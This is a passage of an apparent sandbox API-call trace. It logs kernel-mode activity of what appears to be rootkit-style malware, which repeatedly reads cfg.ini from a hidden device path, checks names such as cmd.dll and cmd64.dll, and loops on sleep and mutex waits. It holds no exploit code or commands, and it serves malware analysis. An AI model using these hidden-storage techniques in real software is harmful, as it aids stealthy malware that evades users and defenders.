0xfffffa800c4f7390 [0127.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.386] KeLeaveCriticalRegion () [0127.386] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.386] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.386] KeEnterCriticalRegion () [0127.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.386] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.386] KeLeaveCriticalRegion () [0127.386] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.386] KeEnterCriticalRegion () [0127.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.386] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.386] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.386] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.386] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.386] IdePortDispatch () returned 0x103 [0127.386] KeWaitForMutexObject () returned 0x0 [0127.387] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.387] KeLeaveCriticalRegion () [0127.387] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.387] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.387] KeEnterCriticalRegion () [0127.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.387] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b6000 [0127.387] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.387] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.387] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.387] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.387] IdePortDispatch () returned 0x103 [0127.387] KeWaitForMutexObject () returned 0x0 [0127.387] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.387] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.387] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.387] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.387] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.387] IdePortDispatch () returned 0x103 [0127.387] KeWaitForMutexObject () returned 0x0 [0127.388] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.388] KeLeaveCriticalRegion () [0127.388] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.388] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.388] KeEnterCriticalRegion () [0127.388] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.388] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.388] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.388] KeLeaveCriticalRegion () [0127.388] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.389] KeEnterCriticalRegion () [0127.389] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.389] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.389] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1a10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.389] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.389] KeLeaveCriticalRegion () [0127.389] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.389] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.389] KeEnterCriticalRegion () [0127.389] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.389] ExFreePoolWithTag (P=0xfffffa800c4f7390, Tag=0x0) [0127.389] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.389] KeLeaveCriticalRegion () [0127.389] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.389] ReleaseMutex (hMutex=0xf0) returned 1 [0127.389] Sleep (dwMilliseconds=0x124f80) [0127.407] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.407] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.407] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.407] KeEnterCriticalRegion () [0127.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.407] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.407] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.407] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.407] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.407] IdePortDispatch () returned 0x103 [0127.407] KeWaitForMutexObject () returned 0x0 [0127.407] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.408] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.408] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.408] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.408] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.408] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7330 [0127.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.408] KeLeaveCriticalRegion () [0127.408] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.408] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.408] KeEnterCriticalRegion () [0127.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.408] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.408] KeLeaveCriticalRegion () [0127.408] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.408] KeEnterCriticalRegion () [0127.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.408] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.408] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.408] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.408] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.408] IdePortDispatch () returned 0x103 [0127.408] KeWaitForMutexObject () returned 0x0 [0127.408] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.408] KeLeaveCriticalRegion () [0127.408] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.409] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.409] KeEnterCriticalRegion () [0127.409] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.409] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035bb000 [0127.409] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.409] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.409] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.409] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.409] IdePortDispatch () returned 0x103 [0127.409] KeWaitForMutexObject () returned 0x0 [0127.409] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.409] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.409] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.409] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.409] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.409] IdePortDispatch () returned 0x103 [0127.409] KeWaitForMutexObject () returned 0x0 [0127.409] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.409] KeLeaveCriticalRegion () [0127.410] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.410] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.410] KeEnterCriticalRegion () [0127.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.410] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.410] KeLeaveCriticalRegion () [0127.410] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.410] KeEnterCriticalRegion () [0127.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.410] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.410] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.411] KeLeaveCriticalRegion () [0127.411] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.411] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.411] KeEnterCriticalRegion () [0127.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.411] ExFreePoolWithTag (P=0xfffffa800c4f7330, Tag=0x0) [0127.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.411] KeLeaveCriticalRegion () [0127.411] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.411] ReleaseMutex (hMutex=0xf0) returned 1 [0127.411] Sleep (dwMilliseconds=0x124f80) [0127.430] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.430] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.430] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.430] KeEnterCriticalRegion () [0127.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.430] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.430] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.430] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.430] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.430] IdePortDispatch () returned 0x103 [0127.431] KeWaitForMutexObject () returned 0x0 [0127.431] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.431] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.431] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.431] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.431] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.431] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e1600 [0127.431] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.431] KeLeaveCriticalRegion () [0127.431] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.431] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.431] KeEnterCriticalRegion () [0127.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.431] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.431] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.431] KeLeaveCriticalRegion () [0127.431] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.431] KeEnterCriticalRegion () [0127.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.431] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.431] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.431] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.431] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.431] IdePortDispatch () returned 0x103 [0127.431] KeWaitForMutexObject () returned 0x0 [0127.431] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.431] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.432] KeLeaveCriticalRegion () [0127.432] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.432] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.432] KeEnterCriticalRegion () [0127.432] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.432] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c0000 [0127.432] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.432] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.432] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.432] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.432] IdePortDispatch () returned 0x103 [0127.432] KeWaitForMutexObject () returned 0x0 [0127.432] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.432] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.432] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.432] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.432] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.432] IdePortDispatch () returned 0x103 [0127.432] KeWaitForMutexObject () returned 0x0 [0127.433] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.433] KeLeaveCriticalRegion () [0127.433] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.433] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.433] KeEnterCriticalRegion () [0127.433] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.433] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.433] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.433] KeLeaveCriticalRegion () [0127.433] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.433] KeEnterCriticalRegion () [0127.433] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.433] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.433] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.433] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.433] KeLeaveCriticalRegion () [0127.434] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.434] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.434] KeEnterCriticalRegion () [0127.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.434] ExFreePoolWithTag (P=0xfffffa80037e1600, Tag=0x0) [0127.434] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.434] KeLeaveCriticalRegion () [0127.434] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.434] ReleaseMutex (hMutex=0xf0) returned 1 [0127.434] Sleep (dwMilliseconds=0x124f80) [0127.453] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.453] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.453] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.453] KeEnterCriticalRegion () [0127.453] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.453] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.453] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.453] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.453] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.453] IdePortDispatch () returned 0x103 [0127.454] KeWaitForMutexObject () returned 0x0 [0127.454] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.454] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.454] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.454] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.454] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.454] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f78b0 [0127.454] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.454] KeLeaveCriticalRegion () [0127.454] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.454] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.454] KeEnterCriticalRegion () [0127.454] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.454] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.454] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.454] KeLeaveCriticalRegion () [0127.454] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.454] KeEnterCriticalRegion () [0127.454] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.454] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.454] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.454] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.454] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.454] IdePortDispatch () returned 0x103 [0127.454] KeWaitForMutexObject () returned 0x0 [0127.455] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.455] KeLeaveCriticalRegion () [0127.455] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.455] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.455] KeEnterCriticalRegion () [0127.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.455] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c5000 [0127.455] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.455] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 